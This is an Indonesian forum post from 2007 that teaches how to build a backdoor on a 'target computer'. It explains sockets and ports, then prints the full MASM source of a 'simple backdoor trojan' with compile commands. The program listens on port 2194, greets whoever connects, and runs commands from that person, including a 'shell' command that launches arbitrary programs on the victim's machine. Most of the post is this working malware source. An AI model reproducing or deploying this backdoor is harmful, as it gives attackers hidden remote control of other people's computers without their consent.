™ ¬ dj. îñdrí. ñ. fríéñds ¬÷¤—:
Would you like to react to this message? Create an account in a few clicks or log in to continue.

Buat backdore di komputer target

Go down

new Buat backdore di komputer target

Post  Tamu Tue Sep 18, 2007 6:13 am

Kebanyakan mereka yang udah pada pinter ngebuat tool-tool untuk hacking pada nggak mau bagi-bagi ilmunya, bukan mengajarkan gimana caranya, tapi bagaimana memanfaatkan/ menggunakan tool buatannya, bagiku hal ini sangat menyedihkan karena selain membuat kita jadi pasif juga nggak akan menambah kesaktian kita

Apa itu backdoor ?

Backdoor termasuk salah satu golongan malware atau program berbahaya, kenapa dikatakan berbahaya?, karena dengan backdoor seorang hacker bisa mengendalikan komputer, bisa meremote dari jauh, mencuri data berharga seperti password, pin, data finansial perusahaan bahkan untuk aksi yang fatal, misal: memformat hardisk!.

Cara kerja backdoor

Sesuai namanya cara kerja backdoor cukup sederhana, yaitu dengan cara membukakan pintu belakang dan yang pasti secara diam-diam, pintunya biasanya berupa port, backdoor akan menanti si pembuat backdoor tersebut datang (menghubunginya). Apabila sang pembuat backdoor datang maka backdoor akan membukakan pintu lalu mempersilahkannya masuk dan melindunginya dari pengawasan keamanan, tentu setelah itu hacker (si pembuat backdoor) dapat melakukan apa saja yang dia inginkan dengan leluasa. sangat mengerikan!!

Baiklah dari pada kebanyakan omong, sekarang langsung kita mulai aja tutorialnya.

Sebelum kita memulai experimen ini, sebaiknya kita pelajari dulu teorinya.

Dalam pemrograman jaringan biasanya dibutuhkan yang namanya socket, socket disini maksudnya bukan socket pada jenis-jenis prosesor kayak socket-A, socket 393 atau socket AM2, tapi socket sebagai obyek untuk melakukan pertukaran data (packet) secara byte per byte. begitu juga backdoor, dia juga membutuhkan socket untuk mewujudkan komunikasi. bagi para programmer jaringan, saya yakin pasti dah tahu teori dan cara kerja backdoor ini.

Pada pembuatan backdoor kita harus membuat dua socket, kenapa dua? karena socket tersebut adalah penghubung, misal jika kita ingin ngobrol jarak jauh kita harus pake telpon, si A menelpon si B, maka socket itu bisa kita asumsikan sebagai telpon, dan tidak mungkin komunikasi akan terjadi apabila telponnya cuma satu (cuma si A yang punya telpon), begitu juga dengan socket harus ada dua, yang satu untuk backdoor (server) dan satunya lagi untuk si pembuat backdoor (client).



.data?

sock1 SOCKET ? ; socket pertama [ backdoor ]

sock2 SOCKET ? ; socket kedua [ attacker ]

Setelah itu kita butuh yang namanya port, apa itu port?, berdasarkan wujudnya port dibagikan menjadi dua jenis, port fisik dan port logika, port fisik itu yang bisa kita lihat langsung di belakang komputer, kayak COM1, COM2, USB dll. kalo port logika itu bisa banyak banget, bisa sampai ribuan dan nggak bisa kita lihat, nah port yang akan kita gunakan disini adalah port logika, kalo tadi socket bagaikan telpon maka port bagaikan kabelnya dan IP address bagaikan nomor telponnya, tanpa itu semua komunikasi mustahil terjadi.

Setelah socket tercipta kita akan tentukan port yang akan kita gunakan sebagai jalur komunikasi, pilih port yang masih kosong atau belum kepake, contoh di program ini saya gunakan port 2194. untuk memasang portnya kita harus terlebih dahulu mengisi variabel pada struktur sockaddr_in yang memiliki rangkaian :


sockaddr_in STRUCT

sin_family WORD ?

sin_port WORD ?

sin_addr in_addr <>

sin_zero BYTE 8 dup (?)

sockaddr_in ENDS

diisi dengan cara :

push 2194 ; nomor port yang akan dibuka backdoor

call htons

mov sockaddr_in.sin_port,eax

Setelah struktur sockaddr_in diisi maka langkah selanjutnya adalah binding :

push sizeof sockaddr_in ; Besar struktur soackaddr_in

push offset sockin1 ; alamat sockaddr_in 1

push sock1

call bind ; binding

cmp eax,SOCKET_ERROR ; socket error

jnz socket_oke ; udah ada atau port udah digunakan

xor eax,eax ; null

ret

socket_oke:

mov eax,1

ret



agar lebih jelas lihat source code lengkapnya di bawah ini :


; SIMPEL BACKDOOR TROJAN

; WRITTEN BY : [4NV|e]

; anvie_2194@yahoo.com

;

; compile with MASM

; ml /c /coff backdoor.asm

; link /subsystem:windows /opt:noref backdoor.obj

;==================================================





.386 ; 32 bit

.model flat,stdcall

option casemap:none



include \masm32\include\windows.inc

include \masm32\include\user32.inc

include \masm32\include\wsock32.inc

include \masm32\include\kernel32.inc

include \masm32\include\winmm.inc

include \masm32\include\shell32.inc



includelib \masm32\lib\user32.lib

includelib \masm32\lib\wsock32.lib

includelib \masm32\lib\kernel32.lib

includelib \masm32\lib\winmm.lib

includelib \masm32\lib\shell32.lib



.data? ; .data section

sock1 SOCKET ? ; socket pertama

sock2 SOCKET ? ; socket kedua

sockin1 sockaddr_in <> ; struktur

sockin2 sockaddr_in <>

s2IP dd ?

wsad WSADATA <> ; WSA struktur

hFile dd ?

hBW dd ?

lenn dd ?



.data

AppName db "AnShell",0

szKonek db "Connected : ",0

szLogon db 13,10



db "______________________________________________",13,10

db " __, WELCOME TO : ",13,10

db " | | ___, . __ . . ",13,10

db " |__| ,__ (____ |__ / / | | ",13,10

db " | | | | ,____) | ) \/__ |__ |__ ",13,10

db 13,10

db " By:[4NV|e] ",13,10

db " this stuff is for education purpose only ",13,10

db " Source : www.jasakom.com ",13,10

db "______________________________________________",13,10

db 0

szMasuk db "[ You already entered system ]",13,10

szPerintah db "Command : ",0

szSelesai db 13,10," - thanks for visiting",13,10

db " - [4NV|e]",13,10

db " - anvie_2194@yahoo.com",13,10

db " - www.anvie.net.tc",0

szSocketError db "shit, socket error",0 ;what the fuck!

szPerintahX db "Command not found.",13,10,0

szKosong db 13,10

szOpen db "Open",0



; perintah-perintah

Perintah1 db "msgbox",0

Perintah2 db "close",0

Perintah3 db "shell",0



Buffer db 512 dup(0) ; buffer

Buffer2 db 512 dup(0) ; buffer

KeepOF dd 0 ; [color:fc9e=White:fc9e]buat jaga-jaga biar gak terjadi buffer overflow



.code ; .code section



; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

StartUp proc ; prosedur awal pembuatan socket

push offset wsad

push 0101h

call WSAStartup



push 0

push SOCK_STREAM

push PF_INET

call socket ; buat socket utama (server? Razz)

; backdoor!



mov sock1,eax

mov ax,AF_INET

mov sockin1.sin_family,ax

xor eax,eax

mov sockin1.sin_addr,eax



push 2194

call htons ; Buka port 2194 (Lucky Number ;)



mov sockin1.sin_port,ax ; masukin port ke struktur sockaddr_in



mov eax,sizeof sockaddr_in

push eax

push offset sockin1

push sock1

call bind





cmp eax,SOCKET_ERROR ; apakah socket oke ?

jnz socket_oke

xor eax,eax ; tidak, return 0

ret

socket_oke: ; oke, yeah return 1

mov eax,1

ret

StartUp endp



; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

BersihkanBuffer proc uses edi lpBuffer:DWORD,jml:DWORD



xor al,al ; Isi buffer jadikan nul byte

mov edi,lpBuffer ; dibutuhkan di lingkungan assembly

mov ecx,jml

rep stosb ; mnemonik stosb mengeset alamat edi

; dengan nilai dari eax

ret

BersihkanBuffer endp



; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

Tarjim proc lpCommand:DWORD ; prosedur untuk menerjemahkan perintah

LOCAL lBuffer[512]:BYTE ; untuk dieksekusi.

LOCAL arg:DWORD

LOCAL arg2:DWORD



push lpCommand

call lstrlen

cmp eax,2

jne perintah_ok

ret



perintah_ok:



lea edi,lBuffer

push edi ; selamatkan edi ke stack

;

push 512

push edi ; bersihkan lBuffer

call BersihkanBuffer



mov edi,lpCommand

mov al,020h ; cari byte 20h dimana 20h=karakter spasi

mov ecx,512 ; simpel deteksi argumen

repnz scasb ; cari!

dec edi



test ecx,ecx ; apakah karakter spasi ditemukan?

jnz cmd_ok ; jika ya goto cmd_ok

mov edi,lpCommand

mov al,0dh ; jika tidak, cari karakter enter (0dh/13)

mov ecx,512

repnz scasb

dec edi

mov byte ptr [edi],0 ; jika ketemu set null byte

jmp no_arg ; argumen tidak ada goto no_arg

cmd_ok:

mov byte ptr [edi],0 ; nullkan karakter spasi

inc edi

mov arg,edi ; simpan argumen pertama



push edi

call lstrlen

add edi,eax

sub edi,2 ; nullkan 2 byte terkahir maksud 2 byte terakhir

mov word ptr [edi],00 ; disini adalah 0ah 0dh (enter)

no_arg:

pop edi ; kembalikan edi dari stack



push lpCommand

push edi

call lstrcpy ; kopikan string perintah ke buffer



push offset Perintah1

push edi

call lstrcmpi ; compare string insensitive

or eax,eax

jz msgbox ; apakah perintah msgbox ?



push offset Perintah2

push edi

call lstrcmpi

or eax,eax ; apakah perintah close ?

jz mati



push offset Perintah3

push edi

call lstrcmpi

or eax,eax ; apakah perintah shell ?

jz shell



xor eax,eax ; perintah gak ada yang cocok

ret ; kembali dan tampilkan pesan



msgbox:

mov eax,MB_OK

or eax,MB_SYSTEMMODAL

or eax,MB_TOPMOST

push eax

push offset AppName

push arg

push 0

call MessageBox

jmp retCmd



mati:



push offset szSelesai

call lstrlen

mov lenn,eax



; tampilkan pesan selesai

push 0

push lenn

push offset szSelesai

push sock2

call send



; tutup socket

push sock1

call closesocket

push sock2

call closesocket



; bersihkan memori

call WSACleanup

xor eax,eax

push 0

call ExitProcess



shell:

; cari untuk argumen ke 2 atau sub commandline

mov arg2,0

mov edi,arg

mov ecx,512

mov al,20h ; 20h = spasi

repnz scasb

cmp ecx,0 ; spasi ditemukan ?

je no_arg2 ; jika tidak goto no_arg2

dec edi

mov byte ptr [edi],0 ; ada, nullkan

inc edi

mov arg2,edi ; simpan arg2 ke memori

no_arg2:



push 1

push 0

push arg2

push arg

push offset szOpen

push 0

call ShellExecuteA ; eksekusi!

jmp retCmd



retCmd:

mov al,1

ret

Tarjim endp



; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

start:



call StartUp ; panggil prosedur startup

test eax,eax ; apakah socket oke?

jz socket_error ; jika tidak socket = error



; socket dah oke

; buat listening ke port 2194

push 1

push sock1

call listen



new_session:

push sock2 ; tutup socket 2

call closesocket ; berfungsi setelah looping



mov eax,sizeof sockaddr_in

mov lenn,eax

push offset lenn

push offset sockin2

push sock1

call accept ; menunggu perintah dari socket 2



mov sock2,eax ; simpan alamat socket 2

push offset szLogon

call lstrlen

mov lenn,eax



push 0

push lenn

push offset szLogon

push sock2

call send ; sambut tamu dari luar :)



mov eax,sockin2.sin_addr

push eax

call inet_ntoa ; terjemahkan IP x.x.x.x



mov s2IP,eax ; simpan IP dari socket 2

push offset szKonek

push offset Buffer

call lstrcpy



lea edi,Buffer

push edi

or ecx,-1

mov al,03Ah ; cari karakter ':'

repnz scasb

inc edi



; tempelkan string IP

push s2IP

push edi

call lstrcpy

push edi

call lstrlen



add edi,eax

mov word ptr [edi],0a0dh ; ganti baris

add edi,2

mov byte ptr [edi],0 ; null

pop edi

push edi

call lstrlen

mov lenn,eax



push 0

push lenn

push offset Buffer

push sock2

call send ; tampilkan string Connected : x.x.x.x -> IP address

push 0

mov eax, sizeof szMasuk

push eax

push offset szMasuk

push sock2

call send ; welcome :)



perintah:

push 0

push 10

push offset szPerintah

push sock2

call send ; backdoor siap dikendalikan!



push 512

push offset Buffer2

call BersihkanBuffer ; Bersihkan buffer

lea edi,Buffer2

mov KeepOF,0 ; counter anti buffer overflow



tunggu_perintah:

invoke recv,sock2,edi,500,0

test eax,eax

jz new_session

cmp eax,SOCKET_ERROR

je new_session

add edi,eax

inc KeepOF

cmp KeepOF,511

jb no_of ; jika penuisan buffer hampir mencapai 512 byte

jmp perintah ; bersihkan buffer, jaga2 biar gak terjadi

no_of: ; Buffer overflow :-)

cmp byte ptr [edi-1],08h

jne bkn_backs

xor eax,eax

mov word ptr [edi],ax

sub edi,2

bkn_backs:



cmp byte ptr [edi-1],0ah ; apakah tombol enter yang ditekan ?

jnz tunggu_perintah ; jika nggak masih nunggu perintah



; ya, terjemahkan perintah

push offset Buffer2

call Tarjim ; panggil prosedur tarjim



test eax,eax ; apakah perintah valid

jnz perintah ; jika tidak balik tungu perintah



cmp eax,2 ; apakah perintah kosong ?

je kosong ; jika ya, goto kosong



push 0

mov eax,sizeof szPerintahX

push eax

push offset szPerintahX

push sock2

call send ; tampilkan pesan kalo perintah nggak ada

jmp perintah

kosong:

push 0

push 2

push offset szKosong

push sock2

call send ; hanya ganti baris

jmp perintah



socket_error: ; trap handel jika-jika socket error

push MB_ICONERROR

push offset AppName

push offset szSocketError

push 0

call MessageBox ; tampilkan kesalahan

tamat:

push 0

call ExitProcess ; selesai.



end start



=========================================================


Tamu
Guest


Back to top Go down

Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum